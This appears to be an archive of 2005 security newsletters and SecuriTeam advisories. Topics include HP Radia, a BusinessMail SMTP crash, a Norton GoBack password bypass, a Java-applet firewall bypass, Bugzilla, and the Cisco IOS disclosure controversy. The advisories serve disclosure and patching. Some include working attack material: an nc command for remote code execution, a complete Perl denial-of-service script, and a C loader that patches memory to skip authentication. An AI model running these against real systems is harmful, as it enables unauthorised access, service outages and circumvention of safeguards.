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Monday, August 01, 2005

About Net Security: August 1, 2005

 
Net Security
 
In the Spotlight | More Topics | Specials at About.com
  from Tony Bradley, CISSP
This past week there were a number of critical vulnerabilities identified, including flaws in Ethereal, clamav and Sophos antivirus among others. Check out the Vulnerability Alerts section for more details. I posted links a handful of articles to help you secure and protect Microsoft Windows and updated te Free Port Scanner listing this week. Check back this week for a synopsis of Internet Explorer 7 now that Microsoft released the Beta edition.
 
 In the Spotlight
Windows XP Security
While Linux and Apple have gained ground in recent years, the prevailing operating system in use, particulary for residential or home use, is still Microsoft Windows. Below are links to a handful of articles you can refer to to help you use your Microsoft Windows operating system more securely...read more

 
          More Topics
Updated Free Port Scanners
The latest update in the Free Tools section is the port scanner software. I removed the link to the Ecora product and fixed the link to the Shields Up! web site. I also added two new port scanner utilities that...read more

 
Highly Critical Secunia Advisories
There were 7 new Highly Critical security advisories published by Secunia on Thursday, July 28 and 4 more on Friday, July 29. A few of them were updates from different vendors to repair their versions or implementations of Ethereal or clamav. One of the Thursday advisories related to a flaw in Sophos antivirus...read more

 
 
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[NT] HP OpenView Radia Management Agent Command Execution

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HP OpenView Radia Management Agent Command Execution
------------------------------------------------------------------------

SUMMARY

The <http://www.hp.com> Radia Management Agent is part of HP's OpenView
Radia suite of software. By connecting to the listening TCP port and
sending a crafted packet, an attacker can run arbitrary code on the target
machine.

DETAILS

Vulnerable Systems:
* HP OpenView Radia Management Portal versions 2.x and 1.x running Radia
Management Agent

HP OpenView Radia Management Portal runs as a Windows service (RMA) with
Local System privileges. The RMA service listens on a TCP port that is not
fixed. In the example below, the service was listening on TCP port 1065.

Proof of Concept:
By connecting to the TCP port and sending a crafted packet, it is possible
to traverse out of C:\Program Files\Novadigm (the apparent working
directory) and run any executable that is located on the same logical disk
partition, in this case the C: drive.

C:\>sc queryex rma

SERVICE_NAME: rma
TYPE : 110 WIN32_OWN_PROCESS (interactive)
STATE : 4 RUNNING
(STOPPABLE,
NOT_PAUSABLE,IGNORES_SHUTDOWN))
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 1032
FLAGS :

C:\>netstat -ano

Active Connections

Proto Local Address Foreign Address State PID
TCP 0.0.0.0:1065 0.0.0.0:0 LISTENING 1032

bash$ printf "\x00\x00\x00../../windows/system32/whoami.exe\x00" | nc -v
xx.xx.xx.xx 1065

host.domain [xx.xx.xx.xx] 1065 (?) open
nt authority\system

The output from whoami.exe clearly demonstrates that it is possible for a
remote attacker to execute arbitrary system commands with Local System
privileges without authentication.

Vendor Status:
HP has developed a patch to fix the problem. More information can be found
in their security bulletin:
<http://itrc.hp.com/service/cki/docDisplay.do?docId=HPSBMA01138>
HPSBMA01138

Disclosure Timeline:
Date of initial advisory: 28 April 2005
Date of full advisory: 28 July 2005

ADDITIONAL INFORMATION

The information has been provided by <mailto:nisr@nextgenss.com>
NGSSoftware Insight Security Research.

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[NEWS] Cisco IOS Exploitation Techniques (Black Hat, Michael Lynn)

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Cisco IOS Exploitation Techniques (Black Hat, Michael Lynn)
------------------------------------------------------------------------

SUMMARY

Cisco IOS (originally Internetwork Operating System) is the operating
system used on Cisco Systems routers and some network switches. It is a
multitasking operating system and provides kernel services such as process
scheduling as well as the command line interface and routing software.

Mike Lynn, former researcher for Internet Security Systems (ISS), spoke at
the Black Hat security conference in Las Vegas about a serious
vulnerability that he found while reverse-engineering the operating system
in Cisco routers.

DETAILS

Cisco Systems and ISS prevented Lynn and the Black Hat conference
organizers to publish this presentation and forced to remove it from
conference material. The material however, can be found at the following
link: <http://www.security.nnov.ru/files/lynn-cisco.pdf>
http://www.security.nnov.ru/files/lynn-cisco.pdf.

ADDITIONAL INFORMATION

The original article can be found at:
<http://www.security.nnov.ru/Fnews57.html>
http://www.security.nnov.ru/Fnews57.html

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[NEWS] Cisco Internetwork Operating System IPv6 DoS and Arbitrary Code Execution

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Cisco Internetwork Operating System IPv6 DoS and Arbitrary Code Execution
------------------------------------------------------------------------

SUMMARY

IPv6 is the "Internet Protocol Version 6", designed by the Internet
Engineering Task Force (IETF) to replace the current version Internet
Protocol, IP Version 4 (IPv4).

Cisco Internetwork Operating System (IOS ) Software is vulnerable to a
Denial of Service (DoS) and potentially an arbitrary code execution attack
from a specifically crafted IPv6 packet. The packet must be sent from a
local network segment. Only devices that have been explicitly configured
to process IPv6 traffic are affected. Upon successful exploitation, the
device may reload or be open to further exploitation.

DETAILS

Vulnerable Systems:
A list of vulneable systems can be found at:
<http://www.cisco.com/warp/public/707/cisco-sa-20050729-ipv6.shtml#software> http://www.cisco.com/warp/public/707/cisco-sa-20050729-ipv6.shtml#software

Techincal Details:
A vulnerability exists in the processing of IPv6 packets. Crafted packets
from the local segment received on logical interfaces (that is, tunnels
including 6to4 tunnels) as well as physical interfaces can trigger this
vulnerability. Crafted packets can not traverse a 6to4 tunnel and attack a
box across the tunnel.

The crafted packet must be sent from a local network segment to trigger
the attack. This vulnerability can not be exploited one or more hops from
the IOS device.

This issue affects all Cisco devices running any unfixed version of Cisco
IOS or Cisco IOS XR code that supports, and is configured for, IPv6. A
system which supports IPv6, if not specifically configured for IPv6, is
not affected. You can use the show ipv6 interface command to determine
whether IPv6 is enabled on a system.

Successful exploitation of the vulnerability on Cisco IOS may result in a
reload of the device or execution of arbitrary code. Repeated exploitation
could result in a sustained DoS attack or execution of arbitrary code on
Cisco IOS devices.

Successful exploitation of the vulnerability on Cisco IOS-XR may result in
a restart of the IPv6 neighbor discovery process. A restart of this
process will only affect IPv6 traffic passing through the system. All
other processes and traffic will be unaffected. Repeated exploitation
could result in a sustained DoS attack on IPv6 traffic.

Example:
Sample output of the show ipv6 interface command is shown below for two
systems, one not configured for IPv6 and one configured for IPv6.
An empty output or an error message will be displayed if IPv6 is disabled
or unsupported on the system.

Router#show ipv6 int fa 0/0
-here you see blank output

In the example below the system is vulnerable.

Router#show ipv6 interface
Serial1/0 is up, line protocol is up
IPv6 is enabled, link-local address is FE80::A8BB:CCFF:FE00:D200
Global unicast address(es):
2001:1:33::3, subnet is 2001:1:33::/64
Joined group address(es):
FF02::1
FF02::1:FF00:3
FF02::1:FF00:D200
MTU is 1500 bytes
ICMP error messages limited to one every 100 milliseconds
ICMP redirects are enabled
ND DAD is enabled, number of DAD attempts: 1
ND reachable time is 30000 milliseconds
Router#

A router that has IPv6 enabled on a physical or logical interface is
vulnerable to this issue even if ipv6 unicast-routing is globally
disabled. The show ipv6 interface command can be used to determine whether
IPv6 is enabled on any interface.

To determine the software running on a Cisco product, log in to the device
and issue the show version command to display the system banner. Cisco IOS
Software will identify itself as "Internetwork Operating System Software"
or simply "IOS." On the next line of output, the image name will be
displayed between parentheses, followed by "Version" and the IOS release
name. Other Cisco devices will not have the show version command or will
give different output.

The following example shows a product running IOS release 12.3(6) with an
image name of C2600-JS-MZ:
Cisco Internetwork Operating System Software IOS (tm)
C2600 Software (C2600-JS-MZ), Version 12.3(6), RELEASE SOFTWARE (fc1)

Additional information about Cisco IOS release naming can be found at
<http://www.cisco.com/warp/public/620/1.html>
http://www.cisco.com/warp/public/620/1.html.

A system that is running a Cisco IOS XR version prior to 3.2 is also
affected by this vulnerability if configured for IPv6. The show ipv6
interface command can be used to identify whether IPv6 is enabled on a
system running Cisco IOS XR.

ADDITIONAL INFORMATION

The information has been provided by <mailto:psirt@cisco.com> Cisco.com.
The original article can be found at:
<http://www.cisco.com/warp/public/707/cisco-sa-20050729-ipv6.shtml>
http://www.cisco.com/warp/public/707/cisco-sa-20050729-ipv6.shtml

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====================
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The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

[NT] BusinessMail Email Server System DoS

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BusinessMail Email Server System DoS
------------------------------------------------------------------------

SUMMARY

" <http://www.netcplus.com/> BusinessMail is a powerful and yet easy to
configure mail server that has been designed from its initial concept as a
full Windows 32bit, multi-threaded system that will provide the power and
flexibility of mail handling that is required by most business network
environments."

Lack of proper length validation of two fields, allows attackers to crash
the BusinessMail email server system.

DETAILS

Vulnerable Systems:
* BusinessMail email server system version 4.60.00

The user provided values for the SMTP HELO and MAIL FROM: fields is not
properly checked. This allows attackers to cause buffer overflow, by
issuing an arbitrarily long data to the HELO and MAIL FROM: fields, which
in turn can be used to cause the process to crash.

Exploit:
#===== Start BusMail_SMTPDOS.pl =====
#
# Usage: BusMail_SMTPDOS.pl <ip>
# BusMail_SMTPDOS.pl 127.0.0.1
#
# BusinessMail email server system 4.60.00
#
# Download:
# http://www.netcplus.com/
#
##########################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "25",
Proto => "TCP"))
{
print "Attempting to kill BusinessMail SMTP server at
$ARGV[0]:25...\n";

sleep(1);

print $socket "HELO " . "A" x 512 . "\r\n";

sleep(1);

print $socket "MAIL FROM:" . "A" x 512 . "\r\n";

close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:25\n";
}
#===== Start BusMail_SMTPDOS.pl =====

ADDITIONAL INFORMATION

The information has been provided by <mailto:reedarvin@gmail.com> Reed
Arvin.
The original article can be found at:
<http://reedarvin.thearvins.com/20050725-01.html>
http://reedarvin.thearvins.com/20050725-01.html

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[NT] Norton GoBack Local Authentication Bypass

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Norton GoBack Local Authentication Bypass
------------------------------------------------------------------------

SUMMARY

<http://www.symantec.com/goback/> Norton GoBack has "the ability to
backup and restore changes made in your partitions. Whenever a mistake is
done, such as caused by a virus infection, you can use the program to
reset the partition to its original state".

A vulnerability recently discovered in Norton GoBack allows local users to
to bypass authentication password used to limit the usage of the product
by unauthorized users.

DETAILS

Vulnerable Systems:
* Norton GoBack version 4.0

Norton GoBack has an authenticate mechanism to protect itself. The
following steps allows setting all authentication control rules to "none".

1. Run OllyDbg, open file GBOption.exe in "%Program Files%\Norton GoBack".
This is the program that Norton Goback use to change setting.

2. Run program in OllyDbg by pressing F9. A windows with title "Norton
GoBack Options" appears. Choose 2nd tab, click "Change Level...". It will
show a window to change level for each action: enable/disable, uninstall,
autobackup... There are three level: ADMIN, USER and NONE. By default, the
level for uninstall is ADMIN, mean that you must have administrator pass
to uninstall it. After changing level for these action to NONE and click
OK, it requires ADMIN pass to authenticate (eventually, when you've set
pass before). But here we don't have it now (lost, forget.. :D), so we
will bypass it.

3. Return to OllyDbg, jump to address 0x0043697D by pressing Ctrl+G, enter
address in it & click OK. OllyDbg will change to this address, you can see
these code:

00436970 > 8B0D A8964700 MOV ECX,DWORD PTR DS:[4796A8]
00436976 . 50 PUSH EAX
00436977 . 51 PUSH ECX
00436978 . E8 93E9FFFF CALL GBOption.00435310
0043697D . 83C4 08 ADD ESP,8
00436980 . 85C0 TEST EAX,EAX ; eax == 0 if pwd is correct!
00436982 . 0F954424 0F SETNE BYTE PTR SS:[ESP+F]

Notes in addr 0x00436978, this is the function that GoBack uses to check
administrator pass. It will return true if password correct or false if
password is incorrect (eventually). Because we don't have password, this
function will certainly return false. So we will set breakpoint in address
0x0043697D to change its return value: make sure the pointer is at
0x0043697D, press F2 to set breakpoint (the line will change to red).

4. Enter any pass you want & bypass Return to Norton GoBack Options, click
OK, it will ask the ADMIN pass, you enter anything you want & press OK.
Now, the control is changed to OllyDgb, it run to address where I set
breakpoint and paused. Look in the registers window of OllyDbg, you'll see
EAX = 0x00000090. Double click to it, change EAX to 0x00000000 and press
F9 to continue. Now you'll see that no warning message were poped. All
settings you made have been saved. You can check it again by click in
"Change Level.." to see the result.

5. Last action Now, after changing all action level to NONE, you can do
anything with Norton GoBack without worry about asking ADMIN pass. You can
enable/disable it, uninstall it... Good luck!

Automatic loader:
/*
* AUTHOR: LightPhoenix
* EMAIL: light.phoenix@gmail.com
* DATE: 07/20/2005
*
* DESCRIPTION:
* This loader is used in bypassing admin password
* of Norton GoBack 4.0
*
* TODO:
* Patch in memory at @0x436980
* Origin: 0x85,0xC0,0x0F,0x95,0x44,0x24,0x0F
* Patch: 0x33,0xC0,0xC6,0x44,0x24,0x0F,0x00
*/

// Goback Loader.cpp
#include <windows.h>

LPTSTR strExecFile = TEXT("GBOptions.exe");

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
HANDLE hFile;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));

//Find GBOptions.exe
if( (hFile = CreateFile(strExecFile, 0, FILE_SHARE_READ, NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL) ) == INVALID_HANDLE_VALUE)
{
MessageBox(0, "GBOptions.exe does not exist", "Bypass Norton GoBack
4.0 by LightPhoenix[light.phoenix@gmail.com]", MB_ICONERROR);
return -1;
}
CloseHandle(hFile);

//createprocess with suspend
if( CreateProcess(NULL, strExecFile, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE)
{
MessageBox(0, "Error executing GBOptions.exe", "Bypass Norton GoBack
4.0 by LightPhoenix[light.phoenix@gmail.com]", MB_ICONERROR);
return -1;
}
//patching
BYTE buf[10];
DWORD bytesRead, bytesWritten;
ReadProcessMemory(pi.hProcess, (LPVOID)0x436980, buf, 7, &bytesRead);

//Compare origin bytes
if( buf[0] == 0x85 && buf[1] == 0xC0 && buf[2] == 0x0F && buf[3] == 0x95
&&
buf[4] == 0x44 && buf[5] == 0x24 && buf[6] == 0x0F )
{
//Correct!
BYTE newData[] = {0x33, 0xC0, 0xC6, 0x44, 0x24, 0x0F, 0x00};
WriteProcessMemory(pi.hProcess, (LPVOID)0x436980, newData,
sizeof(newData) /sizeof(newData[0]), &bytesWritten);

//resume
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
MessageBox(0, "Bypass succesfully!", "Bypass Norton GoBack 4.0 by
LightPhoenix[light.phoenix@gmail.com]", MB_ICONINFORMATION);
}
else
{
//Failed
MessageBox(0, "Wrong size???\nWrong version!", "Bypass Norton GoBack
4.0 by LightPhoenix[light.phoenix@gmail.com]", MB_ICONERROR);
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:light.phoenix@gmail.com>
LightPhoenix.

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[NEWS] Java Sandbox and Stateful Firewalls Interaction

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Java Sandbox and Stateful Firewalls Interaction
------------------------------------------------------------------------

SUMMARY

Java sandbox for applets and
<http://en.wikipedia.org/wiki/Stateful_firewall> stateful firewalls
interact in a surprising way. As a result, external hosts can initiate TCP
connections to supposedly protected network services. An attacker use the
technique detailed below to gain access to potentially vulnerable network
services that are located behind firewall and/or NAT devices, so that
direct access is impossible.

DETAILS

This is a passive attack. The attacker must lure the victim to a carefully
crafted web page. The victim's web browser must download and execute the
embedded Java applet. The victim's computer must offer some vulnerable
networking service, and a stateful firewall must prevent access to this
service from the Internet.

This is a passive vulnerability which can only be used as a step stone for
further attacks. As a result, the risk posed by this vulnerability alone
is fairly low.

The attack is carried out as follows:
1. The attacker creates a specifically crafted web site.
2. She lures the victim to visit this web site.
3. The victim's browser downloads the applet and begins to run it.
4. The applet initiates a TCP connection back to the originating web
server, on port 21 (used by FTP,
<http://www.rfc-editor.org/rfc/rfc959.txt> RFC 959). This connection is
permitted according to the
<http://java.sun.com/docs/books/tutorial/applet/overview/security.html>
standard Java sandbox model for applets.
5. A FTP server on the same machine that hosts the originating web site
answers.
6. The applet continues to pose as an FTP client, logs in and issues an
FTP PORT command, which prepares an active FTP connection. The TCP port
specified in the command refers to some existing TCP service, such as
445/TCP (SMB over TCP) or 1433/TCP (Microsoft SQL Server, MSDE). This port
is chosen by the attacker.
7. The firewall between the attacker and the victim recognizes this
command and prepares to open a second connection for the FTP data
transfer.
8. The applet issues a FTP command which requests the data transfer, for
example a LIST command.
9. The attacker uses her server to initiate a TCP connection to the port
indicated in the PORT on the victim host. The firewall passes through the
connection, assuming that it is a legitimate FTP data transfer.

This attack exploits the fact that the Java security model for applet
assumes that arbitrary TCP connections back to the server pose no risks.
However, the presence of stateful firewalls or NAT devices with heuristic
FTP protocol modules between the involved hosts invalidates this
assumption because TCP connections back to the originating servers do have
side effects.

This is not an error in the Java implementation or in the firewall
implementation. Both programs implement their respective specifications.
Even the specifications themselves are not inherently flawed. Only the
combination of these two components creates a vulnerable configuration.
This stresses an important point about secure systems: Security does not
compose, and classic divide-and-conquer approaches do not necessarily
result in complete systems which are secure.

The attack differs from previous attacks using POST requests to ports such
as 21/FTP. Such attacks could be detected by the firewall and stopped. In
contrast, the Java applet could implement a fully-compliant FTP client,
and the firewall cannot tell whether an FTP data transfer was initiated by
a rogue Java applet or a legitimate FTP client controlled by the user.

Workaround:
* Use clients that do not support active client such as Java applets.
* In firewalls, do not use heuristic approaches to stateful filtering.
Complex protocols should be handled by application layer gateways that
actually understand the protocols they are letting through.

Note that in principle, this vulnerability is not specific to Java or FTP
protocol helpers (see below). A more general approach to eradicate this
problem is therefore necessary.

Proof of concept:
A simple TCP server which emulates FTP and a corresponding Java applet is
provided.

* Source code of the Java applet
<http://www.enyo.de/fw/security/java-firewall/test.java>
http://www.enyo.de/fw/security/java-firewall/test.java

* Perl source code of the FTP server emulation
<http://www.enyo.de/fw/security/java-firewall/ftpd.pl>
http://www.enyo.de/fw/security/java-firewall/ftpd.pl

For convenience, the TCP port to which access from the web/FTP server is
provided can be configured on the client. In a real attack scenario, this
port would be chosen by the attacker.

Open questions:
Some questions need further examination.

* Other implementations of mobile code might be used to carry out the
attack. For example, it could be possible that Flash objects can achieve
the same effect.

* The vulnerability is not inherently FTP-related. FTP is used here
because its active mode is widely used because it is the default mode in a
widely-used web browser, and stateful filters usually implement heuristics
to handle such FTP data transfers. Other candidate protocols are IRC DCC,
Sun and DCE RPC, and in particular H.323 and SIP.

* We only tested one firewalling implementation (a custom-compiled Linux
2.6 kernel and an OpenWRT Linux kernel, both with NAT enabled). Other
firewall implementations might enforce further restriction and restrict
the data flow on the FTP data connection, which slightly mitigates the
impact of this vulnerability.

* Maybe it is possible to introduce a method by which Java virtual
machines can mark outgoing connections initiated by untrusted applets.
Even though the protocol described in
<http://www.rfc-editor.org/rfc/rfc3514.txt> RFC 3514 could be used for
this purpose, significant code changes are needed, and it is not clear if
this vulnerability is worth the complexity of such a solution.

ADDITIONAL INFORMATION

The original article can be found at:
<http://www.enyo.de/fw/security/java-firewall/>
http://www.enyo.de/fw/security/java-firewall/
The information has been provided by <mailto:fw@deneb.enyo.de> Florian
Weimer.

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In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

[UNIX] Bugzilla Multiple Vulnerabilities (Unauthorized Bug Change, Information Disclosure)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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Bugzilla Multiple Vulnerabilities (Unauthorized Bug Change, Information
Disclosure)
------------------------------------------------------------------------

SUMMARY

<http://www.bugzilla.org> Bugzilla is "server software designed to help
you manage software development".

Lack of proper privileges checking in Bugzilla, allows attackers to expose
or hide bugs, change their status, and/or obtain bug information before
changing their status to private.

DETAILS

Vulnerable Systems:
* Bugzilla development snapshots version 2.19.3
* Bugzilla version 2.18.1
* Bugzilla version 2.17.1

Immune Systems:
* Bugzilla version 2.18.2
* Bugzilla version 2.20rc1

Unauthorized Bug Change:
Any user can change any flag on any bug, even if they don't have access to
that bug, or even if they can't normally make bug changes. This also
allows them to expose the summary of a bug.

By manually modifying a link to process_bug.cgi, it is possible to change
a flag on a bug that you do not have access to, because Bugzilla does not
validate that the flag you are attempting to change is associated with the
bug that you are attempting to change.

If the attacker makes a flag change which causes the attacker to be
emailed, the attacker will see the summary of the bug in that email.

If you are using the request_group or grant_group features of 2.19, the
attacker will be prevented from exploiting this security hole if they do
not have permission to change the flag in the fashion that they are
changing it.

Information Disclosure:
Bugs are inserted into the database before they are marked as private, in
Bugzilla code. Thus, MySQL replication can lag in between the time that
the bug is inserted and when it is marked as private (usually less than a
second). If replication lags at this point, the bug summary will be
accessible to all users until replication catches up.

Also, on a very slow machine, there may be a pause longer than a second
that allows users to see the title of the newly-filed bug.

Vendor Status:
The fixes for all of the security bugs mentioned in this advisory are
included in the 2.18.2 and 2.20rc1 releases. Upgrading to these releases
will protect installations from possible exploits of these issues.

Full release downloads, patches to upgrade Bugzilla from previous
versions, and CVS upgrade instructions are available at:
<http://www.bugzilla.org/download.html>
http://www.bugzilla.org/download.html.

Specific patches for each of the individual issues can be found on the
corresponding bug reports for each issue, at the URL given in the
reference for that issue in the list above.

ADDITIONAL INFORMATION

The information has been provided by <mailto:mkanat@bugzilla.org> mkanat.
Bug reports about the issues can be found at:
<https://bugzilla.mozilla.org/show_bug.cgi?id=293159>
https://bugzilla.mozilla.org/show_bug.cgi?id=293159,
<https://bugzilla.mozilla.org/show_bug.cgi?id=292544>
https://bugzilla.mozilla.org/show_bug.cgi?id=292544

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[TOOL] SpiderFoot - Domain Foot-Printing Tool

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- - - - - - - - -

SpiderFoot - Domain Foot-Printing Tool
------------------------------------------------------------------------

SUMMARY

DETAILS

SpiderFoot is a free, open-source, domain foot-printing tool. Given one or
multiple domain names. It will scrape the websites on that domain, as well
as search Google, Netcraft, Whois and DNS to build up information like:
* Subdomains
* Affiliates
* Web server versions
* Users (i.e. /~user)
* Similar domains
* Email addresses
* Netblocks

SpiderFoot is 100% written in C# and is GPL licensed.

To download the tool please visit:
<http://prdownloads.sourceforge.net/spiderfoot/SpiderFoot-0.01b.zip?download> http://prdownloads.sourceforge.net/spiderfoot/SpiderFoot-0.01b.zip?download

ADDITIONAL INFORMATION

The information has been provided by <mailto:steve@binarypool.com> Steve
Micallef.
To keep updated with the tool visit the project's homepage at:
<http://www.binarypool.com/spiderfoot/>
http://www.binarypool.com/spiderfoot/

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firmware hotplug problem

Hello all!
I've recently setted up a firewall-router with an adsl connection via a
hamlet 640s usb modem.
The modem doesn't cause me trouble if I hotplug it, but if I cold plug
it the accessrunner driver can't find the firmware:

cxacru 1-2:1.0: firmware unavailable (hotplug configuration problem?)

Now, the issue is that for security reasons I disabled the modules in
the kernel, so every time I boot up the firewall I have to disconnect
and then reconnect the modem by hand to make it find the firmware.
That's quite uncomfortable, since the firewall is in a place not really
easy to reach.

Has anyone suggestions to solve my issue?
I've searched in the archives without luck :(

I add that I run debian sarge, with a custom (obviously) 2.6.10 kernel
on a pentium 133 with a 1.3 Gb HD

/etc/fstab:
proc /proc proc defaults 0 0
/dev/hda1 / reiserfs notail 0 0
/dev/hda2 /home xfs defaults 0 0
/dev/hdc /media/cdrom0 iso9660 ro,user,noauto 0 0
/dev/fd0 /media/floppy0 auto rw,user,noauto 0 0

thanx for any suggestion
davide

PS. I tried adding the firmware into an initrd, without success.

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WindowsNetworking.com - Monthly Article Update

WindowsNetworking.com - Monthly Article Update

Hi Security World,

New articles and tutorials added to WindowsNetworking.com last month:

Title: Windows Server 2003 Performance Tuning
Author: Brien M. Posey
Summary: Computers running Windows operating systems always seem to have a way of slowing down over time. If your server seems to be running more slowly than it should, then you have a couple of choices. You can add some extra memory and maybe a processor or two and hope for the best, or you can figure out why the server is running so slowly. There are lots of different things that can cause a server to run slowly. In this article, I will explain how you can use some of Windows’ built in diagnostic tools to determine the cause of your server’s sub-par performance.
Link: http://www.WindowsNetworking.com/articles_tutorials/Windows-Server-2003-Performance-Tuning.html

Title: Understanding the TCP/IP Protocol (Part 2)
Author: Don Parker
Summary: In part one of this article series we laid out the background information necessary to tackle this article’s information. Contained in this article is the actual breakdown of a packet’s contents, and what they mean. This type of low level TCP/IP information will enable you to make far better judgement calls when investigating network issues at the packet level.
Link: http://www.WindowsNetworking.com/articles_tutorials/Understanding-TCPIP-Protocol-Part2.html

Title: Issues Involved In Converting Basic Disks To Dynamic Disks
Author: Brien M. Posey
Summary: One of the Windows Server 2003 features that I’ve always found most useful is the ability to convert basic disks to dynamic disks. The advantage of doing this is that the Windows operating system allows you to span a single volume across multiple dynamic disks. By spanning a volume across multiple disks, you can create a larger volume than what a single disk can hold, you can achieve better performance than what a single disk would provide you with, and you can even achieve a degree of fault tolerance against hard disk failure. Even with all of these benefits, there are some serious issues that you need to be aware of before you even think about converting a basic disk into a dynamic disk. In this article, I will discuss these issues.
Link: http://www.WindowsNetworking.com/articles_tutorials/Issue-Involved-Converting-Basic-Disks-Dynamic-Disks.html

Title: Internet Explorer is corrupted… how do I fix it?
Author: Robert J. Shimonski
Summary: Very rarely do we ever get our systems beat up so badly that we have to perform surgery on them... sometimes, you feel like you need to reinstall the whole system, or sometimes you wish you didn’t have to – and could just repair it, as is, where it sits. Well, before you do anything rash, try this handy step by step article and script to re-register your Internet Explorer and hopefully ‘clean’ it of problems. Let’s see what two quick tips can do to spare you from possible disaster.
Link: http://www.WindowsNetworking.com/articles_tutorials/Internet-Explorer-corrupted-fix.html

Title: Understanding the TCP/IP Protocol (Part 1)
Author: Don Parker
Summary: The world of computer networking is built upon a series of protocols. These very same protocols are the worker bees that keep the packets flowing from one computer to another. Gaining an understanding of them greatly helps one to understand how computers talk to each other. This series of articles will attempt to convey that very knowledge.
Link: http://www.WindowsNetworking.com/articles_tutorials/Understanding-TCPIP-Protocol-Part1.html

Title: Tuning Virtual PC Performance
Author: Mitch Tulloch
Summary: This article looks at how to enhance the performance of virtual machines running on Microsoft’s Virtual PC platform.
Link: http://www.WindowsNetworking.com/articles_tutorials/Tuning-Virtual-PC-Performance.html

Title: Making Your DNS Service Fault Tolerant
Author: Brien M. Posey
Summary: Most network administrators know that Active Directory is dependant on DNS. What you might not realize is that there is a good chance that your DNS server is performing several other critical tasks in the background. A DNS failure can be more catastrophic than most people realize. In this article I will explain why this is the case and how to avoid such a situation.
Link: http://www.WindowsNetworking.com/articles_tutorials/Making-DNS-Service-Fault-Tolerant.html

Title: Troubleshooting Basic TCP/IP Problems
Author: Brien M. Posey
Summary: Over the last several years, TCP/IP has gone from being the protocol that only geeks use, to a universal protocol that everyone uses, thanks to the widespread use of the Internet. TCP/IP has been around for decades and is a solid, reliable, mature protocol. Most of the time when there is a TCP/IP related problem, the problem is related to the way that one or more of the hosts on the network are configured. In this article, I will walk you through the process of troubleshooting some common TCP/IP issues.
Link: http://www.WindowsNetworking.com/articles_tutorials/Troubleshooting-Basic-TCPIP.html

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For sponsorship information, contact us at advertising@WindowsNetworking.com

Copyright © WindowsNetworking.com 2005. All rights reserved.

NetFlash: Cisco vulnerability posted to Internet

NetFlash: Cisco vulnerability posted to Internet
08/01/05

In this issue:

* Cisco vulnerability posted to Internet
* Black Hat event highlights RFID and VoIP security threats
* The CEO's sidekick
* Hack cracks Microsoft anti-piracy check
* Radio: Black Hat wrangling
* Today on Layer 8
* Links related to NetFlash
* Featured reader resource
_______________________________________________________________
This newsletter is sponsored by Avocent
Network World Executive Guide: Reviewing Trends and Insights for
SMB Executives

Life is different for IT professionals at small and mid-sized
businesses, which don't have the luxury of hiring legions of
network experts. Read how network executives are keeping a firm
footing on an ever-shifting product landscape. Learn about
trends and insights surrounding VoIP and VPNs; plus get
commentaries from leading experts on storage strategies for
smaller businesses.
http://www.fattail.com/redir/redirect.asp?CID=109151
_______________________________________________________________
Weekly Webcast Newsletter

The weekly Webcast Newsletter brings you information on webcasts
available on NW Fusion - your 24/7 source for the latest
solutions and strategies, complete with links, resources, and
the personal answers you need. Covering vital topics like
security, applications, wireless, and more, our webcasts are
highly focused, single-topic briefings from experts in
technology. Sign up today!
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_______________________________________________________________

NETFLASH: BREAKING NEWS FROM NETWORKWORLD.COM

By Sheryl Hodge

To recap: ISS researcher Michael Lynn gave a controversial
presentation at the Black Hat conference - as a result he lost
his job and faced legal repercussions. Thursday, a legal
agreement was reached that required him to return any materials
or disassembled code related to Cisco and never to discuss the
materials related to the presentation he gave at the Black Hat
conference on July 27. The agreement, signed by all parties,
also required Black Hat to never disseminate a video made of
Lynn's presentation and to deliver to Cisco any video recording
made of Lynn.
However, just one day after the agreement was made the
information was published on the Internet.
Cisco vulnerability posted to Internet
<http://www.networkworld.com/nlnetflash4145>

Black Hat event highlights RFID and VoIP security threats

News last week was dominated by the saga of security researcher
Michael Lynn, which is highlighted above. But there was much
more going on at the Black Hat conference: plans to bring
encryption to VoIP phones, technologies for better securing
e-commerce, and more.
<http://www.networkworld.com/nlnetflash4146>

The CEO's sidekick

All the world's a stage for demo guy Jim Grubb. Cisco CEO John
Chambers often gets topical during his trade show keynotes. At a
recent event, he spent several minutes outlining a litany of IT
headaches facing the U.S. healthcare industry, and of course,
some of Cisco's high-tech aspirin.
<http://www.networkworld.com/nlnetflash4147>

Hack cracks Microsoft anti-piracy check

Microsoft Friday acknowledged that hackers were able to bypass a
process implemented last week to ensure users of Microsoft's
update services had legitimate copies of Windows before
downloading updates and content from those services.
<http://www.networkworld.com/nlnetflash4148>

Radio: Black Hat wrangling

Network World Test Alliance member Rodney Thayer joins the
program from the Black Hat security conference in Las Vegas to
discuss the legal wrangling of researcher Michael Lynn. A former
ISS staffer, Lynn exposed a previously unknown exploit for Cisco
IOS, the core operating system for many of its popular routers,
and landed himself in hot water. Listen in:
<http://www.networkworld.com/nlnetflash4149>

Today on Layer 8, which was not moved by the trade deadline:

Al Gore's 'Net TV launches; Fox network to start podcasts for
its shows; Network World endangers your life; and the winner of
the latest Weekly Caption Contest; all this today and more at
your home for not-just-networking news.
<http://www.networkworld.com/weblogs/layer8/?net&story=layer8>

The top 5: Today's most-read stories

1. Furor over Cisco IOS router exploit erupts at Black Hat
<http://www.networkworld.com/nlnetflash4142>

